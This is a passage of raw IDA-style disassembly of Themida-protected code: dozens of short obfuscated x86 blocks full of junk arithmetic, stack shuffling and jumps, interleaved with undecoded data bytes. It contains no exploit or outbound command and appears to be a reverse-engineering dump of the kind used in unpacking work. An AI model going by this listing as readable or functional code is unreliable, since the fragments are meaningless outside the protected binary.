		dd 248B2404h, 0B1DBE924h, 0E2890000h, 0FFC03EE9h, 0FACE81FFh
		dd 0E93D8404h, 0C51Fh
; ---------------------------------------------------------------------------


loc_558040:				; CODE XREF: Themida_:0055C41Cj
		sub	eax, 47A691Ch
		add	eax, 9F44A3Bh
		add	eax, edi
		sub	eax, 9F44A3Bh
		add	eax, 47A691Ch
		jmp	loc_55BF92
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0F7565C24h, 815E2414h
		dd 7F3DB2F6h, 0ED57E926h, 73BAFFFFh, 817D882Bh,	95403CEAh
		dd 8F31E943h, 0E5890000h, 8904EC83h, 3EE92414h,	0FF000092h
		dd 34FF2434h, 0AF1DE924h, 8B66FFFFh, 0ECE92404h, 68000011h
		dd 605Bh, 0BA241489h, 57DA1301h, 12FDEA81h, 0F7E957DAh
		dd 0FF000051h, 34FF3877h, 0D884E924h, 0BA52FFFFh, 2, 0A1F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5580DD:				; CODE XREF: Themida_:00563348j
		mov	esi, edi
		pop	edi
		inc	esi
		shl	esi, 3
		jmp	loc_55B7FE
; ---------------------------------------------------------------------------


loc_5580E9:				; CODE XREF: Themida_:0055D9C6j
		xor	[esp], ebp
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		push	ebp
		jmp	loc_554A39
; ---------------------------------------------------------------------------


loc_5580F6:				; CODE XREF: Themida_:0055D889j
		mov	[esp], esi
		mov	esi, 5E426852h
		xor	esi, 68245690h
		shl	esi, 6
		push	edi
		mov	edi, 998FB084h
		xor	esi, edi
		mov	edi, [esp]
		jmp	loc_559A23
; ---------------------------------------------------------------------------
		db 1
		dd 93E950DDh, 5FFFFFB0h, 4C781h, 0C7810000h, 4,	5C243C87h
		dd 0FFC8FAE9h, 0A6F281FFh, 0F7717877h, 0C4C8E9DAh, 0C483FFFFh
		dd 0E0FFE904h, 431FFFFh, 24043324h, 5124248Bh, 325F2CB9h
		dd 0E0895077h, 405h, 4E88300h, 5C240487h, 0E9241489h, 22A1h
		dd 4EC81h, 34890000h, 24048124h, 6F524303h, 0A38CE9h, 5DE88900h
		dd 0FFD737E9h, 4C483FFh, 7FF0E9h, 4CEA8100h, 0E9DB80A1h
		dd 0FFFFD52Ah
; ---------------------------------------------------------------------------


loc_5581A0:				; CODE XREF: Themida_:00557077j
		sub	ebp, 3389534Dh
		add	ebp, ebx
		add	ebp, 3389534Dh
		jmp	loc_563D51
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEAh, 31D731FFh, 0E9D731FAh, 0BD2Eh
; ---------------------------------------------------------------------------


loc_5581C4:				; CODE XREF: Themida_:0055D752j
		sub	eax, 40820011h
		add	edi, 47451BE0h
		jmp	loc_55618C
; ---------------------------------------------------------------------------
		dd 4C281h, 14870000h, 24248B24h, 42E9D029h, 8B00001Bh
		dd 0C4812414h, 4, 5C243C87h, 0FFA8F2E9h, 48B66FFh, 0E3895324h
		dd 4EC81h, 81E90000h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55820B:				; CODE XREF: Themida_:005553B5j
		pop	eax
		push	223h
		mov	[esp], edi
		jmp	loc_55A077
; ---------------------------------------------------------------------------


loc_558219:				; CODE XREF: Themida_:00555C0Fj
		pop	edi
		pop	ebp
		jmp	loc_55D5EA
; ---------------------------------------------------------------------------
		dd 83ABF57h, 0ED8130C5h, 2F3F1372h, 0C581FD29h,	2F3F1372h
		dd 5CCD815Fh, 0F74FF33Eh, 8A19E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558242:				; CODE XREF: Themida_:00551D91j
		sub	eax, 475E3C41h
		jmp	loc_552B7E
; ---------------------------------------------------------------------------
		dd 38E9F301h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558253:				; CODE XREF: Themida_:00552D26j
		xor	ebp, ebx
		pop	ebx
		sub	edi, ebp
		pop	ebp
		sub	edi, 82A94B47h
		sub	ebx, edi
		pop	edi
		jmp	loc_5620D8
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 8158C689h, 0D4366AC1h, 81F10144h,	0D4366AE9h, 0C875E44h
		dd 0D1055C24h, 556F252Ah, 790300BDh, 0F7D5F732h, 2EED81DDh
		dd 0E9EF4A00h, 2D78h, 6C5E952h,	0C1010000h, 0E9545558h
		dd 0CAD1h, 4C4815Eh, 81000000h,	4C6h, 4C68300h,	8B243487h
		dd 0E9552424h, 3A13h
; ---------------------------------------------------------------------------


loc_5582C8:				; CODE XREF: Themida_:0055A079j
		add	edi, 4
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_561463
; ---------------------------------------------------------------------------


loc_5582DA:				; CODE XREF: Themida_:005590BCj
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	7F74h
		mov	[esp], eax
		mov	eax, 38384AAEh
		sub	eax, 0FFFFFFFFh
		xor	eax, 0F345B8Fh
		or	eax, 67EB2398h
		shr	eax, 7
		push	ebp
		mov	ebp, 0EFDE63h
		sub	eax, ebp
		pop	ebp
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_55A697
; ---------------------------------------------------------------------------
		align 10h
aXsI		db 'X麈',0
		dw 8F00h
		dd 895C2404h, 68532434h, 61AB6A19h, 0E9241C8Bh,	0FFFFCE59h
; ---------------------------------------------------------------------------


loc_55833C:				; CODE XREF: Themida_:0055B4CDj
		push	ebp
		mov	ebp, esp
		jmp	loc_559AAA
; ---------------------------------------------------------------------------
		dd 1C8BD889h, 4C48324h,	662FFA0Dh, 0F0B1E934h, 4BEFFFFh
		dd 81000000h, 0A57878EFh, 0E9F70153h, 2A00h, 0B470C681h
		dd 0E953C4ECh, 6F53h, 4C4835Ah,	0FF8471E9h, 31BA52FFh
		dd 0E9237D0Ah, 0ACB2h, 23F768h,	240C8900h, 0F756A8B9h
		dd 244C0125h, 34FF5904h, 242C8B24h, 0E904C483h,	0A500h
		dd 243C895Ch, 4BFh, 509BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5583B6:				; CODE XREF: Themida_:00556CD7j
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C4h, 5FCA6800h, 1C890000h, 18C2BB24h, 0E3C10F2Dh, 0FCBF5708h
		dd 292D18C1h, 0E9565FFBh, 269Ah
; ---------------------------------------------------------------------------


loc_5583E8:				; CODE XREF: Themida_:00551A4Dj
		sub	esi, 0DAA5A1Bh
		jmp	loc_557ACA
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 842h, 0EB340104h, 0FFACA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558405:				; CODE XREF: Themida_:0055874Dj
		add	edx, 71EB7CC0h
		sub	edx, 2E0915C2h
		push	esi
		jmp	loc_554905
; ---------------------------------------------------------------------------
aQ_uUE_tsK	db '_+Ue_T$',0
		dw 8100h
		dd 504282C5h, 0ACED8149h, 12F9B40h, 0ACC581F5h,	0E92F9B40h
		dd 6B84h
; ---------------------------------------------------------------------------


loc_558440:				; CODE XREF: Themida_:00553EAFj
		mov	ebp, 685866DAh
		push	eax
		jmp	loc_555CF7
; ---------------------------------------------------------------------------
		db 59h
		dd 667CF81h, 0C781397Fh, 0EBFC7A4Bh, 0FFD84CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55845D:				; CODE XREF: Themida_:0055FC01j
		pop	ebp
		jmp	loc_55326E
; ---------------------------------------------------------------------------
		db 81h
		dd 0CF2A26E9h, 0B60DE96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55846E:				; CODE XREF: Themida_:0055E331j
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_55698C
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0C5E95C24h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558493:				; CODE XREF: Themida_:0055C4CEj
		add	ebp, 4
		jmp	loc_561503
; ---------------------------------------------------------------------------


loc_55849E:				; CODE XREF: Themida_:0055698Ej
		pop	edx
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	4D08h
		mov	[esp], edx
		jmp	loc_552816
; ---------------------------------------------------------------------------
aSr		db '',0Dh,'-=)|$',8,'>',0
		dw 5300h
		dd 0BF575B54h, 5AE07FE8h, 0F781DFF7h, 1F27143Ah, 6BE2C781h
		dd 0FB0145C7h, 0E952555Fh, 789Eh
; ---------------------------------------------------------------------------


loc_5584E0:				; CODE XREF: Themida_:005605F5j
		mov	ecx, 0FFFFFFFFh
		sub	ebp, ecx
		pop	ecx
		shr	ebp, 7
		jmp	loc_550F9F
; ---------------------------------------------------------------------------
		dd 8B241433h, 14892424h, 148B5424h, 4C48324h, 4B850h, 0C2010000h
		dd 2EA8158h, 33000000h,	14312414h, 24143324h, 489665Ch
		dd 82CCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558522:				; CODE XREF: Themida_:0055FA0Ej
		pop	edi
		sub	dword ptr [esp+8], 2F25E9h
		add	[esp+8], edx
		add	dword ptr [esp+8], 2F25E9h
		pop	edx
		sub	dword ptr [esp+4], 2C89364Ah
		sub	dword ptr [esp+4], 7E543317h
		sub	[esp+4], eax
		jmp	loc_55F247
; ---------------------------------------------------------------------------
		db 5, 2, 0
		dd 0FF500000h, 8B042474h, 0C4832404h, 0B168E904h, 83500000h
		dd 1C8904ECh, 48736824h, 435B0B58h, 0C3EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_558579:				; CODE XREF: Themida_:00559680j
		pop	ecx
		sub	ecx, 2B8F6CE8h
		jmp	loc_55FD46
; ---------------------------------------------------------------------------
		db 66h,	1, 0F8h
		dd 1C8B665Fh, 8B545224h, 0ABE92414h, 2DFFFFFBh,	83922A8h
		dd 151A1705h, 49E92D4Eh, 0F82930EEh, 0EE49E905h, 1A172D30h
		dd 5E94E15h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5585B7:				; CODE XREF: Themida_:00559CF0j
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C8DD
; ---------------------------------------------------------------------------
		dd 4C481h, 4E90000h, 880000BCh,	0B1515BD9h, 1E98073h, 8065F180h
		dd 0C9802FC1h, 5D79E92Bh, 4330000h, 0BF0F5C24h,	0A793E9C8h
		dd 12D0000h, 83000000h,	148904ECh, 9DEBBA24h, 0D001C516h
		dd 8124148Bh, 4C4h, 8E8DE900h, 3489FFFFh, 0CC68E924h, 0F281FFFFh
		dd 67B0CFDBh, 815AD101h, 0D06DA3C1h, 0E9F1297Ah, 5E18h
; ---------------------------------------------------------------------------


loc_558630:				; CODE XREF: Themida_:00554675j
		shr	ebp, 2
		jmp	loc_556A09
; ---------------------------------------------------------------------------


loc_558638:				; CODE XREF: Themida_:00562089j
		mov	al, 92h
		mov	cl, al
		pop	eax
		push	10C0h
		mov	[esp], eax
		mov	al, cl
		mov	dl, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ecx
		shr	dl, 1
		jmp	loc_55B873
; ---------------------------------------------------------------------------


loc_55865B:				; CODE XREF: Themida_:0055E6E7j
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		push	eax
		jmp	loc_558A7B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 89515824h, 4C181E1h, 81000000h, 4C1h, 9EAAE900h
		dd 515AFFFFh, 0E9C02DB1h, 77C98003h, 8067F180h,	70E9EDC1h
		dd 0B8FFFFC7h, 707B2AD1h, 84D53305h, 0FFC7018Fh, 56582434h
		dd 4EC81h, 24890000h, 81B2E924h, 24BA0000h, 42349B1Eh
		dd 0F702E2C1h, 5A92E9DAh, 0EC810000h, 4, 0BA241489h, 0FFFFFFFFh
		dd 15E9D001h, 0FF000063h, 0E9042474h, 19AAh, 4EC814Fh
		dd 89000000h, 0E468241Ch, 5B4B4C2Ch, 515BDF09h,	0CA73C7B9h
		dd 59CF0961h, 0EB84E950h, 4368FFFFh, 5A3A6A25h,	6FE9D629h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558713:				; CODE XREF: Themida_:0055626Cj
		pop	edx
		shr	esi, 7
		sub	esi, 0E1C7AADh
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 40B34DCFh
		jmp	loc_55B4B7
; ---------------------------------------------------------------------------


loc_558730:				; CODE XREF: Themida_:00560F99j
		pop	edi
		sub	ebx, 0A1BC2E66h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2E0915C2h
		sub	edx, 71EB7CC0h
		add	edx, eax
		jmp	loc_558405
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0E62064B4h, 0F6805866h, 0EB75E989h, 0C781FFFFh, 423B0CD9h
		dd 5FFB015Dh, 5304C383h, 42474FFh, 81241C8Bh, 4C4h, 24048F00h
		dd 924248Bh, 0E99C2404h, 0FFFF8062h, 68241C8Bh,	197Ah
		dd 89241C89h, 0FFE950E3h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55879F:				; CODE XREF: Themida_:00556CA5j
		sub	ebx, eax
		sub	ebx, 29757227h
		jmp	loc_55AD48
; ---------------------------------------------------------------------------
		dd 24348B54h, 0E904C483h, 0FFFFC7DFh, 3AC5E95Fh, 48F0000h
		dd 0ED805C24h, 0C0D5F601h, 0B45006E5h, 80CCFEEAh, 0EC8099F4h
		dd 0AA57E987h, 0B904FFFFh, 0D8E9D028h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5587E3:				; CODE XREF: Themida_:00551D59j
		or	bh, 49h
		sub	bh, 0
		mov	cl, bh
		pop	ebx
		push	eax
		mov	ah, 0DFh
		xor	ah, 3Eh
		or	ah, 0B6h
		sub	ah, 34h
		push	edx
		jmp	loc_5542C6
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 2474FF56h, 0AC5BE904h, 0C581FFFFh, 0ED38610Fh, 55DEB31h
		dd 64BE4B25h, 252DD801h, 5B64BE4Bh, 5E2434FFh, 8DC3E956h
		dd 34310000h, 24343324h, 0A26EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558839:				; CODE XREF: Themida_:00551998j
		push	ebx
		mov	ebx, 4
		jmp	loc_553462
; ---------------------------------------------------------------------------


loc_558844:				; CODE XREF: Themida_:00550BF4j
		and	eax, 15EB07CCh
		and	eax, 70DF62C0h
		sub	eax, 60973ACEh
		jmp	loc_557429
; ---------------------------------------------------------------------------
		dd 4C481h, 0F2E90000h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558863:				; CODE XREF: Themida_:0055F070j
		sub	eax, edx
		add	eax, 3E34082Bh
		xchg	eax, edx
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_559E0C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835924h, 1ED8304h, 8107E5C1h, 544E02C5h, 7AC681F9h
		dd 810B4B16h, 0FB3CE3C6h, 8A64E956h, 5D54FFFFh,	4C581h
		dd 0A3E90000h, 6600001Eh, 3BE9028Fh, 81FFFF7Fh,	4ECh, 240C8900h
		dd 0F7240487h, 240487D0h, 4EC8159h, 89000000h, 21E9240Ch
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5588D3:				; CODE XREF: Themida_:00563AF5j
		xor	edi, 9B6552Bh
		or	edi, 61B3329Ch
		add	edi, 79DF2EC8h
		or	edi, 1A284427h
		neg	edi
		jmp	loc_55498F
; ---------------------------------------------------------------------------
		dw 0B4BEh
		dd 0E9126C0Ah, 0C2BBh
; ---------------------------------------------------------------------------


loc_5588FC:				; CODE XREF: Themida_:00555E7Ej
		mov	[esp], eax
		push	63955DFDh
		pop	eax
		dec	eax
		sub	eax, 1274ED9Eh
		mov	esi, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		xor	dword ptr [esp], 3B377E92h
		pop	edx
		push	esi
		mov	esi, 3B377E92h
		xor	edx, esi
		pop	esi
		jmp	loc_55D3A3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048F54h, 4240483h,	592434FFh, 8104C483h, 4C1h, 4C18300h
		dd 0AA5BE9h
		db 0
; ---------------------------------------------------------------------------


loc_558959:				; CODE XREF: Themida_:0055D1FBj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_553EFD
; ---------------------------------------------------------------------------
		db 0BAh
		dd 28h,	0BD568h, 24148900h, 0B04DE95Bh,	0EF810000h, 4
		dd 0E9243C87h, 0B376h, 0E9028F64h, 0FFFF7E5Eh, 270926B9h
		dd 4D81E92Fh, 0D5F70000h, 0EB81EB87h, 3407E4F9h, 0DFE9DD09h
		dd 8700005Bh, 0E95C2404h, 2B2Dh, 0E904C483h, 0FFFFAEBEh
		dd 1C8BDF01h, 4C48324h,	8704C783h, 248B243Ch, 9CC83B24h
		dd 0FF7E19E9h, 243C87FFh, 81D3F75Ch, 470774E3h,	64EB8171h
		dd 0E9104404h, 56EAh, 15FFA31h,	0C4C8E9D6h, 0F3E90000h
		dd 52FFFF7Dh, 0FF8F1CE9h, 0F3C381FFh, 0F71E753Bh, 61C381D3h
		dd 0E987B6E6h, 0FFFF85B4h
; ---------------------------------------------------------------------------


loc_558A14:				; CODE XREF: Themida_:0055D222j
		add	eax, 4
		jmp	loc_55F9CE
; ---------------------------------------------------------------------------
		dw 489h
		dd 1FBD5524h, 0F7174C54h, 57ED81DDh, 898D5682h,	0C7015DE8h
		dd 0E8F78158h, 89610B53h, 0C435E9F8h, 0FF570000h, 5F042474h
		dd 0E924048Fh, 0FFFFF958h, 35FFC083h, 6803AB0h,	5258C701h
		dd 0AF46AABAh, 0F7E2D11Ch, 8E2C1DAh, 3561E281h,	0EA815CACh
		dd 0C16FC622h, 7BE9D731h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558A7B:				; CODE XREF: Themida_:00558662j
		push	esp
		pop	eax
		jmp	loc_559803
; ---------------------------------------------------------------------------
		dw 67BAh
		dd 153EA4Bh, 0D0015AD0h, 0FFDDA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558A91:				; CODE XREF: Themida_:005559A2j
		push	0F93h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, 9197B50h
		jmp	loc_556451
; ---------------------------------------------------------------------------


loc_558AAD:				; CODE XREF: Themida_:005529D1j
		mov	ebp, 33DE0EC7h
		mov	edi, 9E9635F8h
		sub	edi, ebp
		pop	ebp
		shl	edi, 2
		shr	edi, 7
		push	ebp
		mov	ebp, 6B2E77BEh
		jmp	loc_55FD71
; ---------------------------------------------------------------------------


loc_558ACB:				; CODE XREF: Themida_:00557A3Bj
		mov	[esp], esi
		jmp	loc_563E30
; ---------------------------------------------------------------------------
		db 1
		dd 0ABE95EF7h, 52000054h, 0FFD648E9h, 240431FFh, 8B240433h
		dd 54522424h, 4EC815Ah,	89000000h, 19682404h, 0FF40E528h
		dd 81582434h, 4C4h, 94A2E900h, 2C89FFFFh, 120EBD24h, 0EF015279h
		dd 0FFD4A0E9h, 9C281FFh, 812ADD7Ch, 4E63FEF2h, 712CE9F6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558B2A:				; CODE XREF: Themida_:00558FD2j
		mov	[esp], eax
		push	6265h
		mov	[esp], esi
		push	2877h
		mov	[esp], edi
		jmp	loc_55B859
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 109C28E4h, 50AFBF57h, 80E91603h, 89000050h, 4B82404h
		dd 81000000h, 2C52C7C7h, 55C72965h, 64A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_558B69:				; CODE XREF: Themida_:0055DA4Aj
		add	esp, 2
		push	edx
		mov	dh, 81h
		jmp	loc_556EB1
; ---------------------------------------------------------------------------
		dd 4C4815Dh, 52000000h,	1CE9E289h, 66FFFFF3h, 5024048Bh
		dd 5352E089h, 3F1C4F68h, 6805E958h, 1CF70000h, 0F1815924h
		dd 2148147Bh, 6C9AE951h, 0B2520000h, 0BFF28060h, 0FF82EFE9h
		dd 241C87FFh, 3A3A685Ch, 0C890000h, 0D665E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558BC2:				; CODE XREF: Themida_:0056305Fj
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55E746
; ---------------------------------------------------------------------------
		db 68h,	0E8h, 2
		dd 3C890000h, 4739E924h, 0C890000h, 9A4EE924h, 0D9010000h
		dd 3DE90188h, 800000AAh, 82E9FFEAh, 8100008Dh, 6D0D04C6h
		dd 0EC815A24h, 4, 0BF243C89h, 4606470Eh, 1850E781h, 0CF811552h
		dd 37A90513h, 2E7C14Fh,	5140F781h, 38E9C19Ch, 57FFFF95h
		dd 6ADA44BFh, 5FFB013Dh, 28A9E9h, 19116800h, 14890000h
		dd 0FE44E924h, 6368FFFFh, 89000002h, 96E9242Ch,	5AFFFF88h
		dd 575FFA29h, 0FD7E73BFh, 0D7F74F31h, 46C8EF81h, 0D7F77CE5h
		dd 5FAAEF81h, 0FA019064h, 2434FF5Fh, 1266E9h, 0F3E95A00h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558C77:				; CODE XREF: Themida_:00565459j
		xor	esi, 20E1100Dh
		jmp	loc_56319B
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 3FDF231Dh, 0FFD833E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_558C8D:				; CODE XREF: Themida_:00553E9Ej
		mov	dh, ah
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		shl	dh, 2
		xor	dh, 3Dh
		push	small 0
		sub	[esp], dh
		mov	dh, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_552375
; ---------------------------------------------------------------------------
		dd 2D906855h, 0F75D420Ah, 1CBD68DDh, 34890000h,	0FFFFBE24h
		dd 0F2E9FFFFh, 0BF00005Ah, 4C941FE8h, 4C0CF781h, 0F909128Ah
		dd 4BF1815Fh, 81469845h, 6C56C0F1h, 9DC1812Dh, 89EA74BBh
		dd 6C8159CAh, 5FB70424h, 54012578h, 44810424h, 5FB70424h
		dd 0B7E92578h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558D1F:				; CODE XREF: Themida_:005622EFj
		push	1059h
		mov	[esp], esi
		push	edi
		mov	edi, 1B9E3DBFh
		sub	edi, 3D054879h
		jmp	loc_55504D
; ---------------------------------------------------------------------------
		dd 68240489h, 58B9h, 0F60E9h, 18EA8100h, 102C219h, 0EE815AD6h
		dd 4, 5C243487h, 0BF243C89h, 28307015h,	0FFF97FE9h, 81D3F7FFh
		dd 0C22D83C3h, 0BEE0E9BEh, 0E9550000h, 2E57h, 0B801C781h
		dd 0FE899DAEh, 0FFF2015Fh, 97E92434h, 0B8000083h, 57CE4367h
		dd 0E958C101h, 1E16h
; ---------------------------------------------------------------------------


loc_558D98:				; CODE XREF: Themida_:00562E9Dj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_55213D
; ---------------------------------------------------------------------------


loc_558DB1:				; CODE XREF: Themida_:00556AACj
		add	eax, esi
		sub	eax, 6C591DBBh
		jmp	loc_551708
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4870000h, 0D4E95C24h, 68000059h, 34B4h, 54242C89h, 57242C8Bh
		dd 0FF9339E9h, 75B1FFh,	0B25259C8h, 0CA80E5h, 0C624E9h
		db 0
; ---------------------------------------------------------------------------


loc_558DED:				; CODE XREF: Themida_:00553464j
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_563A37
; ---------------------------------------------------------------------------


loc_558DFD:				; CODE XREF: Themida_:00551EFEj
		pop	edx
		shl	edx, 3
		neg	edx
		inc	edx
		add	edx, 0CCA5E474h
		mov	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 0D401E928h
		sub	edi, ebp
		pop	ebp
		mov	ebx, edi
		pop	edi
		xor	ebx, 565B51A1h
		add	eax, ebx
		pop	ebx
		push	edi
		push	ebx
		jmp	loc_562D54
; ---------------------------------------------------------------------------
		db 0BEh, 1Ch, 5Bh
		dd 0ACBF6B20h, 0E9C1D5EAh, 0FFFFFC9Bh
; ---------------------------------------------------------------------------


loc_558E38:				; CODE XREF: Themida_:0055153Ej
		push	esi
		mov	esi, 7EB27C6Eh
		jmp	loc_563E8C
; ---------------------------------------------------------------------------
		db 89h
		dd 168241Ch, 0E9000000h, 39A4h,	8B2434FFh, 89532404h, 4C381E3h
		dd 56000000h, 4BEh, 5EF30100h, 5C241C87h, 129968h, 243C8900h
		dd 0FFA26BE9h, 0E9F028FFh, 0FFFFAF09h, 0FF242C89h, 5D042474h
		dd 2570E9h, 3C895C00h, 57BDBF24h, 57476AA7h, 2474FF57h
		dd 0D790E904h, 8B66FFFFh, 0EC832404h, 24348904h, 8B68E689h
		dd 89000020h, 0F4BB241Ch, 43534674h, 3A99EB81h,	0C38163C4h
		dd 107DC5A8h, 1C8BDE01h, 0E0895024h, 0FFA59AE9h, 3F7EB9FFh
		dd 0D9BF337Fh, 3179AB72h, 4A15E9CFh, 0A12D0000h, 134DE2Ch
		dd 2CA105C8h, 42E934DEh
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558EF7:				; CODE XREF: Themida_:00553A76j
		add	ecx, 4
		jmp	loc_5529C4
; ---------------------------------------------------------------------------


loc_558F02:				; CODE XREF: Themida_:00564C72j
		push	edi
		jmp	loc_554B0B
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0D13104C4h, 0E9CA015Ah, 0BA61h, 0DB1342BFh
		dd 4EFC164h, 0B951D7F7h, 98A1E3CBh, 0F2E9CF29h,	8B00000Bh
		dd 0C483243Ch, 4C78104h, 81000000h, 4ECh, 24348900h, 4BEh
		dd 36B85000h, 5652040h,	77703139h, 6472E9h, 24148700h
		dd 8E20E9h, 3CE9AC00h, 68FFFFC9h, 1967h, 68242C89h, 35D7h
		dd 51241489h, 1A5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_558F7D:				; CODE XREF: Themida_:0055CA20j
		push	edx
		push	7EE83D27h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	156Ah
		mov	[esp], esi
		mov	esi, 638A2BECh
		or	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	edx, 287032E6h
		push	1683h
		mov	[esp], edx
		pop	esi
		pop	edx
		jmp	loc_5544B9
; ---------------------------------------------------------------------------
		dd 0FF7829E9h, 0D6F758FFh, 8A29E9h
		db 0
; ---------------------------------------------------------------------------


loc_558FCD:				; CODE XREF: Themida_:005635B2j
		push	5980h
		jmp	loc_558B2A
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF0h, 4C481h, 3EE90000h, 52FFFFADh, 45243481h
		dd 0E93A9544h, 0AC58h, 8106E1C1h, 5C1A2FC9h, 7CC18113h
		dd 895D358Dh, 0FFE959CAh, 810000B8h, 0E371FDEDh, 0E9CD0150h
		dd 41BEh, 4C381h, 1C870000h, 0C1815C24h, 4, 2C181h, 0E9530000h
		dd 23BCh
; ---------------------------------------------------------------------------


loc_559034:				; CODE XREF: Themida_:005601F2j
		neg	ah
		add	ah, 5Fh
		xor	ah, 72h
		jmp	loc_5609F5
; ---------------------------------------------------------------------------
		db 5Dh,	5, 5Eh
		dd 0E9020E62h, 0FFFF8462h, 9C2424D2h, 0FF7799E9h, 11E957FFh
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55905B:				; CODE XREF: Themida_:00553A59j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 90h
		sub	cl, 25h
		push	1F68h
		mov	[esp], eax
		jmp	loc_55FA54
; ---------------------------------------------------------------------------


loc_55907F:				; CODE XREF: Themida_:005540E9j
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_551197
; ---------------------------------------------------------------------------


loc_55908B:				; CODE XREF: Themida_:00556273j
		pop	ecx
		and	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5544D7
; ---------------------------------------------------------------------------


loc_559096:				; CODE XREF: Themida_:0055102Aj
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		dec	ecx
		xor	ecx, ebp
		jmp	loc_560E98
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 95E9C331h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5590B3:				; CODE XREF: Themida_:00553A6Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5582DA
; ---------------------------------------------------------------------------
		db 1, 0F2h, 5Eh
		dd 4EC8353h, 0BF243C89h, 2, 0E95FFB89h,	3C2Ch
; ---------------------------------------------------------------------------


loc_5590D8:				; CODE XREF: Themida_:00557CA9j
		push	1E63h
		mov	[esp], edi
		jmp	loc_5513AB
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0A2h
